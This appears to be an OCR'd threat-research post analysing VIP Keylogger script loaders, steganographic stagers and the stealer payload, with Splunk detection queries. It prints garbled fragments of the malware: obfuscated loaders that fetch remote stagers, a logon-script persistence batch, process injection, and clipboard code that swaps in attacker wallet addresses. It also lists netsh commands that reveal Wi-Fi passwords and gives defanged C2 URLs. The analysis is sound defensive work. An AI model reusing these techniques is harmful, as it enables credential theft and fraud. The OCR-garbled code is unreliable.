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In the past few years, the threat landscape has shifted dramatically, keyloggers and information
stealers have become one of the most actively developed and deployed malware payloads.
Whether acting as standalone threats or as loaders to facilitate broader attacks, these tools are
designed to harvest sensitive data with alarming efficiency. VIP Keylogger is one such example
of this active threat.

VIP Keylogger continues to demonstrate high resilience, leveraging common but effective
phishing campaigns and evasion techniques to bypass security controls. In this post, the Splunk
Threat Research Team (STRT) provides a comprehensive analysis of the VIP Keylogger
malware family, alongside a deep dive into its script loader’s use of obfuscation and
steganography. We will discuss the specific tactics and techniques extracted during our
research, helping you develop robust Splunk detections to identify these threats and improve
your proactive threat-hunting efforts.
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VIPKeylogger Script Loader
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Figure 01: VIP Keylogger Loader Infection Chain

Loader Analysis:

During our recent research, the Splunk Threat Research Team (STRT) observed that VIP
Keylogger campaigns have relied heavily on social engineering over the past few months.
Attackers are masquerading as legitimate business communications such as bank payment
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notifications, procurement orders, and logistics updates to lure users into opening malicious
files. While these phishing tactics are not new, they remain remarkably effective at tricking
targets into executing the initial loader, which then kicks off the entire infection chain.

To better understand these delivery methods, STRT collect 200+ random VIP script loader

samples captured between March and April 2026. Figure 02 illustrates the commonalities in how

these loaders are named, based on data sourced from VirusTotal. By examining these naming
conventions, we can gain better insight into the attackers' strategies in these phishing

campaigns.
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Figure 02: VIP Keylogger Loader Phishing Campaign Names

In the following sections, the STRT will analyze the three most common script loader file types
used by VIP Keylogger (.vbs, .js, and .bat) to deliver its payload. We will break down how these
loaders maximize obfuscation and employ multi-component strategies. Furthermore, we will
explore the malware’s use of steganography, where the malicious stager is hidden within
legitimate image file format to evade static detection.
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Visual Basic: T1059.005

The first loader of interest is the variant of malicious .vbs script, which incorporates extensive
junk code at both the beginning and the end of the file to evade detection.

Figure 03 illustrates this technique, showing how the junk code is used to obfuscate the actual
malicious payload, which remains embedded in the middle of the file.
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Figure 03: Junk Code

Figure 04 displays the cleaned version of one of the samples STRT analyzed. We can observe
that the large hex-encoded string is decoded to recover the next stager, a PowerShell script
relative to the PowerShell execution policy defined within one of its variables.

End Function

% ablagueate & I 1l ni tEr nment 1 | & ablagueate
(CStr(blondest),
: : blondest &
ernuta

linenSt, bedlinenP, thyrotrophin, bepommel, oligodendroglia, rotini

bedlinenP =

Figure 04: PowerShell Stager

PowerShell: T1059.001

Beyond the PowerShell stager, STRT observed another interesting technique: the decoded
PowerShell script is written to the INTERNAL_DB_CACHE user environment variable. This
script is stored temporarily before execution and then deleted, a tactic likely designed to
minimize the malware's footprint on the host as illustrated in Figure 05.
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Figure 05: INTERNAL_DB_CACHE User Env Variable

While this is a stealthy location to hide malicious code, the artifact can be effectively detected by
monitoring registry modifications in HKCU\Environment. Even if the malware attempts to clean
up its tracks by deleting the variable after execution, the initial creation or update of this registry
key serves as a clear, detectable event for security teams to capture.
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Figure 06: INTERNAL_DB_CACHE User Env Variable in Registry

Steganography: T1027.003

The PowerShell stager continues the infection chain by downloading two image files. Although
these files use the .png extension, they are leveraged as containers for obfuscated data. As
shown in Figure 05, the first URL (hxxps://vault88x[.]secure-efficient2[.]su/MSI_105759[.]Jpng)
contains the encoded downloader component. This component subsequently fetches the
second file (hxxps://vault88x[.]secure-efficient2[.]Jsu/img_085027[.]png), which houses the
encoded final payload in this instance, the VIP Keylogger.
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Address 2 03 @6 ! i ASCII

08158218: / 4 6C : : . EdMoEO4gD1YoEF#g
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Figure 07: First Steganography Download Component
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Figure 08: Second Steganography for Final Payload

The decoding of the payload in both steganography image file is quite simple. Figure 09 shows
the stages of the script STRT developed to extract the final payload. The steps are:

1. it looks for the marker "IN-" as starting point of encoded data and "-in1"

2. replace the "#" with "A" that hides the base64 encoded data from common base64 static
detection pattern.

3. reverse it, then base64 decode.

The algorithm is the same as the 2nd .png steganography component with a different base64
starting marker.
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RESTART: C:\Users\Administrator\Downloads\vip_decode_payload.py

raw bytes:
00000000:
00000010:
00000020:
00000030
00000040:
00000050: 00
00000060: 00
find index:
00000000: 49
00000010: 23
00000020: 23
00000030: 23
00000040: 23
00000050: 23 23
00000060: 23 23
replaced data:
00000000: 49 4E
00000010: 41 41
00000020: 41 41
00000030: 41 41
00000040: 41 41
00000050: 41 41
00000060: 41 41
reversed data:
00000000: 54 56
00000010: 2F 2F
00000020: 51 41
00000030: 41 41
00000040: 41 41
00000050: 67 41
00000060: 49 62
decoded data:
00000000: 4D 5A
00000010: B8 00
00000020: 00 00
00000030: 00 00
00000040: OE 1F
00000050: 6% 73

00000060: 74 20
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Figure 09: First Steganography Decoding
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Another prominent VIP Keylogger loader variant utilizes a heavily obfuscated .js script, as

illustrated in Figure 10. The primary objective of this obfuscation is to hinder analysis while the

script fetches the next stage of the infection: a PowerShell stager.
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[EM{0x191, "}MYi*) ] (n[ra(0x%e,'D{]q")] (BD,0x49},"'x")] (BT) [n["gacyy'] (Bb, 0x53) ] (BE[n[rb(0x3d, 'D[]qg"}] (Bl,0x2c)]):
V) :yiw[aM(0x6E6, '"hBnk") ) (BF, 0x3f) ] (BT) ;:var BE={'generateRandomName':function|() {var

rt=ah, rJ=ah, rk=ah, BD=82, Bb=B2;recurn

BE[n[*waKhK']] (Math([n[zrt (Oxff, "FBXy')]] () [rJ(0x15a, "O[K4") ] (0x24) [BD(0x0) ] (0x2,0xa) [n[xJ (0x39, '3G6q(')] (n['LfYJHD
'1,"e")}]1(),BEIn["ZGvzl"] (BD,0x5b)]):}, "createfictiveObject':funcrion(BD) {return new

ActiveXObject (BD);}},Bu={};Bu[w[rl(0x71, 'BKmC')] (w[an (0Oxe4, "PBXy') ] (BI, 0x20),'1'))="[nttps://avanzotrust.in/font
3D/DIPS.psl',Bulwlag(0xlde, '1[Fe*)] (Bm,0x42) ]=y[w[aH(0x138,'V)0D"')] (Bp,0x25)],Bui(0x3e)]=0x2;var BN=Bu;return

function (Bv) {var

ry=aM, rz=aM, rA=aM, rO=aM, rs=aM, r=aM, rg=aM, re=aM, rh=aM, rH=aM, rn=aM, ri=aM, rG=aM, rL=aM, d3=aM, BU={ '1PaJc': function (

Figure 10: VIP Keylogger .JS Script Loader

Encrypted/Encoded File: T1027.013

The next stager is PowerShell that will decode and decrypt the third stager using base64
decoding and AES decryption algorithm as illustrated in Figure 11. The decrypted data is more
PowerShell that will set up the final loader execution.

# Compenant 5: MES Decrypeisn Engine 2 # Layersd AFS-J5€ Decryption Systsm
[H$acspecryptionEngine = | il s #
param{ : 4
[oyce[J]§cipherData, i # Component 1: Encrypted Fayload

(oyte[]]§acsKey, i SpayloadData
[Byre[)]§aesTV i 5 i

= try |
SaesProvider = [System.Zecurity.Cryprogrephy. hes]:iCreace()
§assProvider.FeySize =
$aesProvider.Bey = SacsKey
SaesProvider.IV = JaesIV
§aesProvider.Mode = [System.Security.Cryptography.CipherMode]::CBC
$acsProvider.Padding = [System.3ecuricy,Cryptegraphy.Paddingdede] : : PRCST

SdecryptorInstance = $aesProvider.CreateDeoryptor()
§dsoryptedBytes - §dsorypterInstance.TransformFinalSlock(§eipherData,
SoipherData.length)

retorn [System.Text.Encoding]::UTFE . GetString(fdecTyptadBytas)
1
catah |
Write-Erzor MAFS decryptics erzor: §_%
raturn §oull
= rinally {

if ($decrypterInstance) [ Sdecryptorinstance.Dispcas() |
if ($aesProwider]) | SaesProvider . Disposs(] |
1
=)
# Compenent §: Ozchestzation Logic

[H$exesnteDecryption = |
SpayloadBytes = & SrcconstructBase64Data jpayloadbata
$keyBytes = & §reconstructBaseédbats §keyData
§1vBytes = & §SreconstructBasef4Data SivData

= if (§payloadBytes -snd §keyBytes -and §ivBytes) |
§fdecryptedScript = & jaesDecryptionEngine -cipherDaca SpayloadBytes -aesiey
SkeyBytes -a23IV §ivBytes

if (SdecryptedScript) |
return §decryptedScoript

E ) i
] i

Wrice-Warning "Decryption process encountered srrocs®
return $null

Figure 11: Downloaded PowerShell Stager

Reflective Code Loading: T1620

The third stager PowerShell script proceeds to decrypt and decode two PE executables. The
firstis a .NET module designed to inject the second executable, the VIP Keylogger, into a
legitimate aspnet_compiler.exe process using “Invoke-AssemblyExecution” Function. By
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targeting this executable, a standard .NET utility, the malware blends in with legitimate system
activity, effectively concealing the malicious payload from the user.

$¢ Firast decrypt the XOR-encrypted data

§decryptedBaseéd = XorDecrypt -EncryptedBasefs §xorEncryptedBaseéd -Eey §XorKey

if ($decryptedBaseéd) |
code the baseé4 to get assembly bytes

§assemblyBytes = [System.Convert]::FromBasecsString(§decryptedBasedd)

¥ Then dec

# Define target executable path
StargetExecutable = 'C:\Windows\Microsoft .NET\Framework\v4.0.30318
# Prepare invocation pArameters

$invocationParams = [object[]]& ($targetExecutable, $payloadData)

# Execute the asse

$executionResult

21y method

nvoke-AssemblyExecution -BinaryData $assemblyBytes
-TypeName ‘'ALTERNATE.EXECUIE®

-MethodNams 'LAUNCH

-MethodArgs $invecationParams

# Update payload for next iteration
[Byte[)]§payloadData = (77,20, +0,3,0,0,0,4,0,0,0,255, +0,0,;184,0,0,0,0,0,0,0,64,0,0,0,0,0;0,0,0,0,0,0,0,0,

rrrrrrrrrrrrrrrrrrrrrrrr

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

..............................................

Figure 12: Payload Process Injection

Windows Command Shell: T1059.003

Next up is the third VIP Keylogger loader, a clever .bat script variant. It hides a PowerShell
stager right beneath its primary code, marked by the identifier 'REM_IT5kbjeaDNbs.' When
triggered, the script decodes this payload and drops it as a hidden file in the
'"%sappdata%\Microsoft\Windows\Libraries' folder.

The loader doesn’t just run and disappear it’s built to stay. It secures persistence by hijacking
the “UserlnitMprLogonScript” registry key. By planting its file path here, the malware ensures
it's triggered automatically every time the user logs in, making it a persistent threat from the
moment the desktop loads.
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gy "

|if not exist "% %\Microsoft\Windows\Libraries™ mkdir A%X\Microsoft\Windows\Libraries nul
attrib +h \Microsoft\Windows\Librarie nul 2:>&1
| copy /Y "% E\Microsoft\Windows\Libraries\upd Wt5joklx.bat"™ >nul 2>&1

(

| echo @echo off

| echo start /min ™" 5 \Mic oft ibraries\upd Wt5joklx.bat"

oW
|attrib +h ° ATA%\Microsoft\Windos ; sinit_t217D3A5.cmd" >nul 23>&1

| reg add "HKCU\Environmen /v UserInitMprLogonScript /t REG_SZ /d
| \Microsoft\Windows\Libraries\s) it t2 >.omd™ /f >nul 2>81

\bat_debug_sU7UVssk.log"

E%]] Extracting PS script.
REM_IT5 aDNbs"™ ™3

) g e bH1Db250alW517SIKICAgICRsb2cgPSAL IGVudip
| URU1QXHB 2 TCIbhy vemlhdCANSEg6bWe6c3MNKV1dIFBTIFNOYXI@IiBBIES1dC
| 1Galix1IC N1CiA =d1dC1EYXR1IC1Gb37tYXQgI0hIOm1t0OnNz JyldXSBNd
| XR1eCIgfCBPXQtRmlsZSAkbGINIC1BcHBlbmQKICAgICRtdXR]eEShbWUgPSALRE1TVEFOQOVNdHgiCiAgICBOcnkgeyAKICAGICAGICBbU31z

Figure 13: VIP Keylogger Batch Script Loader

The second PowerShell stager decodes and decrypts a large chunk of Base64-encoded data
using a simple XOR routine. However, the XOR key itself is protected with AES encryption,
adding an extra layer of obfuscation.

What makes this stage particularly interesting is its use of embedded .NET code, which is
compiled on the fly via PowerShell’s “Add-Type -TypeDefinition” command. This inline .NET
component is specifically designed to execute the decrypted shellcode, which in turn handles
the decryption and execution of the final payload VIP Keylogger.

L] 41: 0OF47CD cmova ecx,r134d
- d44: BBC1 mov r&d;ecx
. 85C3 TEST ecx,ecx
P -® w 74 1B je shc_x64. 449770
| (] 48: BDSD FO Tea rbox,qeord prr ss:frop-10) rbp-10:REIInitializecritical secrionandspinCount+360
i L] 458 BEDT mov rdx,rdi
1 L] 48: 26DF Sub rbx,rdi
! . 41: BBFD mov esi,r8d
i . 5A0413 mov al,byte ptr ds:[rbx+rdx]
H . 3002 xor byte ptr ds:[rdx],al
H . 48:FFC2 inc rdx
| . 48:BIEE 01 sub rsi, L
H . ~ 75 P2 ine shc_xe4.443762
. . 44:2BC sub d, ecx
(] 41: BEDS mov 3d
. 49:03FB add rdi,rg
. 8042 FF Tea eax,qword prr ds:[rdx-1]
L] 42: 800410 01 add byte ptr ds:[raxs-rio],1
————— . ~ 75 D& ine shc_x64. 449789
. FFCA dec edx
. BED2 test edx,edx
. ~ 7F FOD jg shc_x64. 449779

rad=0

foo:000000000044964C she_xE4.exe: $4964C #4884C

Goumol  Goump2  WMDump:  WWoumpd  @oumps @ watthi  Peellocals 4 struct

Address Hex ASCIT |
| 0000000000661260 |00 00 00 00|00 OO e el o e

0000000000661270 | 00 00 00 00|00 00 O
0000000000661280 (00 00 00 00|00 3E
0000000000661290 (04 DO 00 OO|FF FF 0
0000000000661 2A0 ( 40 OO0 OO0 OD| DD OD
0000000000661 2B0 [ 00 00 00 00|00 OO0 OO0
00000000006612C0 | 00 00 00 00|80 OO0
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Figure 14: Shellcode decrypts VIP Keylogger Payload

VIP Keylogger Analysis:

Below, STRT breaks down the MITRE ATT&CK tactics and techniques uncovered in the VIP
Keylogger payload extracted from the Script Loader analyzed earlier.

System Information Discovery: T1426

As part of its C2 beaconing process, VIP Keylogger collects extensive system metadata,
including the hostname, IP address, country, geolocation, and other identifying details as shown
in Figure xx. To retrieve network and location data, the malware queries public web services,
specifically hxxps|[:]//reallyfreegeoip[.]Jorg/xml/ and hxxp[:]//checkip[.]dyndns][.]org/."

Figure 15: System Information Gathering

Virtualization/Sandbox Evasion: System Checks: T1497.001

As shown in Figure 16, VIP Keylogger uses evasion tactics to stay under the radar. It cross-
references the host's IP address against a predefined list of bot-related |IPs and checks for the
'WALKER' hostname both of which are clear indicators that the malware is being analyzed in a
sandbox.

Figure 16: Anti-Bot or Anti-Sandbox
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Indicator Removal: File Deletion: T1070.004

Figure 17 shows the renamed function, smethod_15(), which launches a hidden command
prompt to delete the currently running executable before immediately terminating the process.
Additionally, the method employs a time-based delay technique using choice.exe to postpone
the self-deletion routine for 3 seconds.

public static void smethod_15

Start(new ProcessStartInfo

+ Application.ExecutablePath + "\""

pwStyle.Hidden,

Environment.Exit(1)

catch (Exception ex

Figure 17: Self-Deletion Routine

Credentials from Web Browsers: T1555.003

VIP Keylogger maintains an extensive list of targeted browsers and applications to harvest
sensitive data from compromised systems.

Once executed, the malware attempts to extract a wide range of information from installed
browsers, including saved passwords, cookies, download records, browsing history, credit card
details, autofill data, and frequently visited sites (Top Sites). By leveraging the common data
storage structure used by Chromium-based browsers, the malware can systematically parse
these databases and retrieve valuable credentials.

In addition to browser data, VIP Keylogger also targets application-specific storage. For
example, it scans known database locations such as the Discord Local Storage, enabling it to
steal authentication tokens that can be used to hijack user sessions without requiring the
victim’s password.

Targeted Browser and Applications

360 Browser Epic Privacy Browser Sputnik
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360 Chrome Blisk Liebao (Cheetah Browser)
Brave Browser Nichrome Uran
Chromium Kometa Citrio
CocCoc Browser Xvast 7Star

Comodo Dragon

Ghost Browser

Discord (Local Storage)

Google Chrome

Cent Browser

AVAST Secure Browser

Google Chrome SxS (Canary) Orbitum Kinza
Iridium Browser SeaMonkey WaterFox
Microsoft Edge Amigo BlackHawk
SlimBrowser PostBox Pale Moon
Slimjet Mozilla ThunderBird  QIP Surf
Tencent QQ Browser Chedot CyberFox
Torch Browser Mozilla FireFox ChromePlus
UC Browser SuperBird Coowon
Vivaldi Xpom
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Clipboard Data: T1115

Figure 18 illustrates the method of this malware that implements clipboard hijacking. This
routine reads clipboard content using Clipboard.GetText(). and uses regex to scan for
cryptocurrency wallet addresses, including Bitcoin, Monero, Stellar, Ethereum, Ripple, Litecoin,
Bitcoin Cash, NEO and DASH. If a match is found, the malware silently replaces the address
with one controlled by the attacker.

o text
ex regex =
X regex2 1€ x("
X regex3
¢ regexd
¢ regexS
X regexé

"rex[a-TA-FB-9
(r[©-9a-zA-7

‘A[LM3][a-k

X regex8

(
(
(
(
regex?7 ew ("*[gQ][a-zA
G
gex(

ex regex9o ew Re
(regex.IsMatch(text))

text = regex.Replace(text, "bclgm
- (regex2.IsMatch(text))
text = regex2.Replace(text, "F6vQUX4Z9GelSViOUbfsl15747va2UNKBsolXEaSaqgytN™);
(regex3.IsMatch(text))
text = regex3.Replace(text, "GBVSZCIIZPIRTXYBNLTYGPDFTECPFSCGX4IHB2DWM2E25YSBTDBPFCGX");
(regex4.IsMatch(text))
text = regex4.Replace(text, "@x12Dd91EC11FaBDD7207dBCaD2b82a33b914F67c4™);
(regex5.IsMatch(text))
text = regex5.Replace(text, "rPeaeF9fsqCMgHKt7dZDMpE1MNVY4q3cff™);
(regex6.IsMatch(text))
text = regex6.Replace(text, "ltclq8pkéyzp3pvszud7zqpzfwccqyvdkcvajglhz9y™);
F (regex7.IsMatch(text))
text = regex7.Replace(text, "qgsgkjwye8gyeakecd5kqhuwkx5cdgaxlcOw391f7h™);
(regex8.IsMatch(text))
text = regex8.Replace(text, ""
F (regex9.IsMatch(text))
text = regex9.Replace(text, "XyM44sdkfuz8CKINFsyd7MAHOGEMWBYmU9"™);

Clipboard. t(text);

Figure 18: Clipboard Data Hijacking Routine




Input Capture: Keylogging: T1056.001

True to its name, VIP Keylogger is designed to capture every keystroke, potentially intercepting
sensitive information like user credentials. Figure 19 pulls back the curtain on the code,
illustrating exactly how the malware hooks into system events to execute its data-collection
routine.

int code, int direction, ref Keys
f (code == B8)
f (direction == 256)

ler keyDownEvent =
| keyDownEvent !

keyDownEvent(this, new Class6.Ke EventArgs(key, thi

if (direction

(keyUpEv

keyUpEvent(this, Class6.KeyLoggerEven this.Identifykey(key)));

)k, code, direction, ref key);

Figure 19: Keylogging Setup

Service Stop: T1489

To ensure a smooth extraction of sensitive data, VIP Keylogger proactively kills active browser
processes, preventing file locks and errors during the database parsing phase.
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Figure 20: Browser Process Termination

Credentials in Registry: T1552.002

VIP Keylogger doesn't stop at keystrokes; it also mines the system registry for sensitive data.
Figures 21 and Figure 22 reveal the code used to extract Outlook credentials and the system
Product ID directly from the registry.

tex

H
tryKey[] array2 =

registryKey =

= (byte[]

num = @;

Figure 22: Parse System Product ID

Screen Capture: T1113

To gain deeper visibility into the victim's activity, the malware periodically takes screenshots of
the desktop. These images are silently stored as 'Screenshot.png’ in the C:\Users\
<Username>\Documents\VIPREcovery folder, allowing the attacker to exfiltrate visual data
from the compromised system.
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ry\\" + text + text2;

)s
(bitmap);
(8, 0), (e, @), size);

(bitmap2);

Figure 23: Screen Capture

Wi-Fi Discovery: T1016.002

By leveraging the built-in Windows utility netsh.exe, VIP Keylogger enumerates all Wi-Fi
networks previously connected to the system using the command “netsh wilan show profile”. It
then follows up by executing “netsh wlan show profile name=<WiFi name> key=clear”,
allowing it to extract the corresponding Wi-Fi passwords in plaintext. This enables the malware
to harvest network credentials and potentially gain access to other systems within the same
network.

Web Protocols: T1071.001

VIP Keylogger leverages multiple command-and-control (C2) servers to exfiltrate data collected
from compromised hosts. Figure 24 highlights several C2 URLs identified in a VIP Keylogger
sample analyzed by STRT, revealing the use of a Telegram bot, dedicated C2 infrastructure, and
even reused C2 servers previously observed in other malware campaigns.
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anotherarmy.

axt = stri
, string |
intManage

intManager.¢ = SecurityProtocolType.Tls
jebRequest = (Http WebRequest.Cr

nse = httpWebReque

nsestream = res

streamReader = StreamReader (responseStream, Encoding.UTF8);

1ToEnd

ervicePointManager.Expecti@@Continue
ntManager.SecurityProt
t2 = HttpUtility.UrlE
B |
WebReques
0sT";
byte Encoding.UTF8.G
webRequest.ContentType =

1 stream = webRequest.Ge
te(bytes2, 8, byte

Figure 24: VIP Keylogger Command and Control Setup

Detections:

The following analytic detects the modification of the UserlnitMprLogonScript registry entry,
which is often used by attackers to establish persistence and gain privilege escalation upon
system boot.

| tstats “security content summariesonly  count min( time) as firstTime max(_time) as la:
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Figure 25: Logon Script Event Trigger Execution Detection

PowerShell Environment Variable Execution

The following analytic detects the execution of PowerShell scripts that combine environment
variable access (‘$env:’ or'[Environment]::SetEnvironmentVariable") with “Invoke-Expression®
or its alias “iex’ to dynamically construct and run code at runtime.

“powershell”

EventCode=4104

ScriptBlockText="*$env:*"

ScriptBlockText IN (

"* TInvoke()*",

"*[scriptblock]::Create*",

"xiex *",

"*Invoke-Expression*"

)

ScriptBlockText="*[Environment]::SetEnvironmentVariable*"

| regex ScriptBlockText="(7?1)((invoke-expression|iex\s+|\biex\b).*\$env:|\[scriptblock\]
| fillnull

| stats count min( time) as firstTime max( time) as lastTime

by dest signature signature id user id vendor product EventID Guid Opcode Name Path Proce
| “security content ctime(firstTime)"

| “security content ctime(lastTime) "

| “powershell environment variable execution filter®

19/32



New Search

powershell' EventCode=4104

| regex ScriptBlockText="(?i)(invoke-expression|iex\s+|\biex\b). *\senv: "

I fillnull

| stats count min(_time)

dest signature signature_id user_id vendor_product EventID Guid Opcode Name Path ProcessID ScriptBlockId ScriptBlockText
security_content_ctime(firstTime)

v 23 events (before 27/04/2026 14:44:57.000)

firstTine max(_time)

lastTime

security_content_ctime(lastTine)

No Event Sampling +

Events  Patterns  Statistics (23)  Visualization
20 Per Page v / Format Preview v
/ ¥4 / 74

dest # signature  signature_id userid #  vendor_product EventiD
EC2AMAZ- Microsoft- 4104 'S-1-5-21- Microsoft 4104
33G95P1 Windows~ 1162018187~ Windows

PowerShell 1096367936~

Execute a 2324567985~

Remote 500"

Command
EC2AMAZ~ Microsoft- 4104 'S~1-5-21- Microsoft 4104
33695P1 Windows~ 1162018187~ Windows

PowerShell 1096367936~

Execute a 2324567985~

Remote 500"

Command

Figure 26: PowerShell Environment Variable Execution Detection

Guid 3 £

{a0c1853b~
5c40-4b15~
8766~
3cf1c58f985a) "

*{a0c1853b-
5c40-4b15~
8766~
3cf1c58f985a)"

7/

Opcode

15

Name = 7

*Microsoft-
Windows-
PowerShell

'Microsoft=
Windows:
PowerShell'

z
Path

]

s/
ProcessiD

10516

*10600

;

ScriptBlockid

72ad2835-
14034664~
80a8
7c31764dead4

d1bc6112-
804f-4764~
8adc~

8cd6b2a7747a

Save As v

Job v

ScriptBlockText <

IEX Senv: INTERNAL DB_CACHE;

[Environment]: : SetEnvironmentVariable (' INTERNAL_DB_CACHE

IEX Senv:INTERNAL_DB_CACHE;

[Environment]: : SetEnvironmentVariable (' INTERNAL_DB_CACHE

Windows Anomalous Registry Value Length in Environment Key

Create Table View

All time ~

¢ Smart|

snull, ‘User')

Snull, 'User')

The following analytic detects creation or modification of registry values under a user or system
Environment key (paths matching *\Environment\*) where the stored value exceeds 2,000

characters.

| tstats “security content summariesonly’
count min(_time) as firstTime
max(_time) as lastTime

(NN

FROM datamodel=Endpoint.Registry WHERE

AN

Registry.action IN ("created",
Registry.registry path= "*\\Environment\\*"

Registry.registry value name != "Path"

AN

"modified")

by Registry.action Registry.dest Registry.process guid Registry.process id Registry.regi:
“drop _dm object name(Registry)’
eval registry value data len = len(registry value data)

N

security content ctime(firstTime)"

“security content ctime(lastTime)"
"windows anomalous registry value length in environment key filter®

I
I
| where registry value data len > 2000
I
I
I
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| tstats “mecurity_content_sumariesanly’
count min(_time) as FirstTine

max{_time) lastTine
fatanodel=Endpoint . Registry W
Registry.registry paths "=\\Enviropmentih=" Registry. registry_valus_nams 1= "Path’

by Registry.action Registry.dest Registry.process_guid Registry. process_ id Registry registry_hive Registry. registry key name Registry.registry_value_name Registry.registry_value type Registry. status Registry.us
Registry, wendor_product Registry.registry value date Registry.registry path

| drop.dm_object nameCRegistry)”

| #val registry_value_data_len = len(registry_value data)

| where registry_value_data_len > 3049

| ‘secirity_content_ctime(firstTise)®

| “security_content_ctime(lastTine)’
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Figure 27: Windows Anomalous Registry Value Length in Environment Key Detection

Windows Proxy Execution of .NET Utilities via Scripts

§7 jLexx ToS0bikahg 85 r0RXSE TodBNGE S Du UL

The following analytic detects the launch of common .NET-related utilities—
aspnet_compiler.exe, msbuild.exe, regasm.exe, InstallUtil.exe, or vbc.exe when the parent
appears to be a script (batch, CMD, PowerShell, JScript, VBScript, or HTML) running from an
unusual or user-writable Windows location (for example Public, Temp, Fonts, Debug, Recycle
Bin, Prefetch, or similar paths), and the child process shows little or no command-line variation
from the image path or name.

| tstats “security content summariesonly count min( time) as firstTime max( time) as la:

from datamodel=Endpoint.Processes
where

Processes.process name IN (
"aspnet compiler.exe",
"msbuild.exe",

“regasm.exe",
"InstallUtil.exe",

"vbc.exe"

)AND

Processes.parent process IN (
"X bat*",

", cmd*",

"k psl*",

"k jex",

¥ vbs*",

" htmU*"
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) AND

Processes.parent process IN (
"*\\windows\\fonts\\*",
"*\\users\\public\\*",
"*\\windows\\debug\\*",
"*\\Users\\Administrator\\Music\\*",
"*Recycle.bin*",
“*\\Windows\\Media\\*",
"\\Windows\\repair\\*",
"*\\PerfLogs\\*",
"*:\\Windows\\Prefetch\\*",
"*:\\Windows\\Cursors\\*",

"* \\Windows\\INF\\*",
"*\\Microsoft\\Windows\\Libraries\\*",
"R\\temp\\*"

)

by Processes.action Processes.dest Processes.original file name Processes.parent process
where (isnull(Processes.process) OR Processes.process=Processes.process path OR Proces:

I
| “drop dm object name(Processes)’

| “security content ctime(firstTime)"

| “security content ctime(lastTime)"®

| “windows proxy execution of net utilities via scripts filter®

New Search

Save As T

| tstats "security_content_summariesonly’ count min{_time) as firstTime sax{_time) is lastTine
on datamcdsl=Endpodnt. Processes

where Processes. process_nam 4

“aspest_corpller. oxg®,
“masbui 14 ouc”,
“regasa.exe”,
"Installitil. exe”,
“ube, ene”
) AKD
Processes. parent_process 14 {
= bate”,
SwoamgaT,
"pslat,
va.jga",
“x_vhsa”,
"= himl="
} AwD
Processes. parent_process 14 {
“*Hhwindowst S fantsie",
*s\husera\\giblicihs",
*a il nowes  VlBUE Y Ve,
"=\\Users\isduinistracorh\Husiciie®,
*sRecycle. bine®
AN o e AT,
i ndowst i repalriie",
*wuPerflogsiie®,
“a:\Aindows \\Prefetchiie®,
=AW ndows Viursersiie
o AN R L TRE YT,
*wiAMicrosaf £ \Windows\\ L ibrariost et
"=iizemphist
}

_process_path Processes.user Processes.user_id Srocesses.vendor_product
| "drop_dn_object_name(Processes)’

| “amcurity_content_ctimefiratTime)

| security_content_ctime(lastTine)’

by Processes, sction Frocesses, dest Processes, original file_nam Processes.parent protess Frocusses. parent_prooess_gxec Processes. parant_rocess_guid Processes, parent process_ id Processes, parent_process_nang
Frocesses, parent_process_patn Processes process Processes,process 6x8¢ Procosses.process_guld Processes, process_hash Processes, process_id Frocesses. process_integrity_level Frocesses.process_name Processes

Last 2

« 18 events (08042026 12:00:00.000 10 DI042026 12:50:23.000) Mo Event Sampling *

Events  Pattoms  Statistics{19)  Visualization
20PerPage ™« Format Pravigw
i # /. ’
sellon dest & 4 pATERl_proceds_éwsc  parel_proceéss guld  parent_process fd
s = arignal_file_name & parent_process £ | & %
allowed  ECZAMAZ aspret corpiler.exe  "Co\Windows\Bys tenF2'WindowsPowesShelliwl Woowershell. exe”  powershell.exe {E1247F55-3428: a7
S4EEMT *eComeard” "i1{(Get-ExpcutianPelicy b =ne AllSigred') [ EPT-Rull=
Set-Executionfol ey -Scope ¥ 3; Aamp; 2OBBRARISTEZ]
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22/32



Figure 28: Windows Proxy Execution of .NET Utilities via Scripts Detection

Windows Gather Victim Network Info Through Ip Check Web Services

The following analytic detects processes attempting to connect to known IP check web services.

“sysmon® EventCode=22 QueryName IN ("*wtfismyip.com", "*checkip.*", "*ipecho.net", "*ipir
| stats min(_time) as firstTime max( time) as lastTime count

BY answer answer count dvc

process exec process guid process name

query query count reply code id

signature signature id src

user_id vendor product QueryName

QueryResults QueryStatus

| “security content ctime(firstTime)"

| “security content ctime(lastTime) "

| “windows gather victim network info through ip check web services filter®

Mew Search SaveAs=  Creald

“syamon” Everdloce=22 QueryMame ("waifi
APET, "+ehl, SDUSEEL.ORET, “Hb.barT

ipstack com”, “smyextarnalip, coms”,
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| stats min(.time) FirstTime nax{_time) as lastTime count
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process_exec process_guid process_name
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signature signature_id src
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| " securi tent ctime{MirstTine)

| seeurity_ssntent_ctime(laseTine)"

+ 14 events (DE/04/2026 10:00:00.000 10 09/04/2026 ¥0r15:25.000) Mo Event Sampling = o

Events Patterns Statistics [58) Wisualization

20 Par Page » # Format Preview » < Prov
# # F # # ¥ r
answer_count  dec process_guid gquery_coumt  reply_code id  signature  signature_id  src 4 user i wendor,
answer & s L DFOCEES_BXBC 5 s process_name & 4  query s, s 3 : s z : 5
fFFF 1931221380 ] EC2AMAZ- vipkeylogger. exe {b1347455- vipheylogger exe checkip. dyndns. org 1 L] DNSEvent Fr EC24MAZ - 5-1- Microsc
5456949 41— 6346~ {ONS 543E0M3 £-18 SYETN
47af- query)
REANREINECHT}
oFFFF:183.122.138.0 6 ECIMMAZ=  vipkeylogger.exe {b1347F55 vipheylogger eie checkip. dyndns. org 1 ©  DHSEvent 27 ECHAMAT ga1 HMicrose
S45B0M5 1593-E0dE- {DNS S4TBEMY 5-18 Sysron
aFaf- query)
R REcD}
$eFFIF103,120.6. 168 6 ECZAMAZ-  aspnet_compiler.exe  [b1347f55- asprat_corpiler exe  chockip.dyndns.org 1 0 DNSEwent 37 EC2AMAT- 5= Mier s
5496043 7304- 6006~ (N5 S43EHI 5-18 Swsron
3Ear- auery)
ROANRSIN532T
c:FFFF:143.122. 6,168 6 ECZAMAZ-  powershell exe {b1347F55- powershell. exe checkip.dyndns.org 1 ®  DHSEwent 23 EC2eMAT- 5-1- Micros:
SasBMs TiT3-4de- {bns S4%EEMz 518 Sysron
aTaf- query)

READREINGEIT}

Figure 29: Windows Gather Victim Network Info Through Ip Check Web Services Detection

Windows Credentials from Password Stores Chrome Login Data Access

The following analytic identifies non-Chrome processes accessing the Chrome user data file
"login data".

“wineventlog security’ EventCode=4663 object file path="*\\AppData\\Local\\Google\\Chrome

23/32



New Search Savefs  Crosis Tabis

